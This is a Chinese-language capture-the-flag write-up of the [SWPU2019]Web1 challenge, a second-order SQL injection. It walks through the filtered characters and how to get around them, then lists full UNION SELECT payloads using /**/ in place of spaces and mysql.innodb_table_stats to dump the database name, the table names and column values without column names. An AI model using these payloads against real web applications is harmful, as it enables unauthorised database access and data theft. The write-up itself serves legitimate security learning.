[SWPU2019]Web1
这道题是个二次注入,做之前感觉挺难得,做完发现也就那么点东西。
没错,还是参考了王叹之大佬的博客,神!
来发广告
首先以为是弱口令登录admin,试了一波BP爆破,无果。
然后是SQLmap,无果。
然后······是我瞎了我没看到注册······
注册登录以后是一个打广告的界面:
好像唯一的入口就是这个申请发布广告
,看看咋回事。
发现注入点
点击广告详情
来到了这个网页:
?id=38
盲猜是注入?猜测这里提取内容的语句是
select * from xxx where name=广告名
那么,好像存在注入点,毕竟我们输入的内容可控。
试试看构造
1' order by 1#
一番测试以后,发现过滤了or
,#
,--+
和空格
ByPass
-
空格被过滤
空格过滤可以利用/**/
代替空格 -
注释符被过滤
将后面的单引号闭合即可 -
or
被过滤
这就很难受了,order by
、information_schema
都不能用。
于是查表名使用select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()
跳过爆字段名直接爆值,参考这个
Payload
- 首先爆数据库,试了一下有22个字段:
1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
懂了,库名是web1
- 然后是爆表名:
1'/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'
懂了,表名是users
- 无字段名爆值
1'/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
学到了学到了,特以此博文纪念~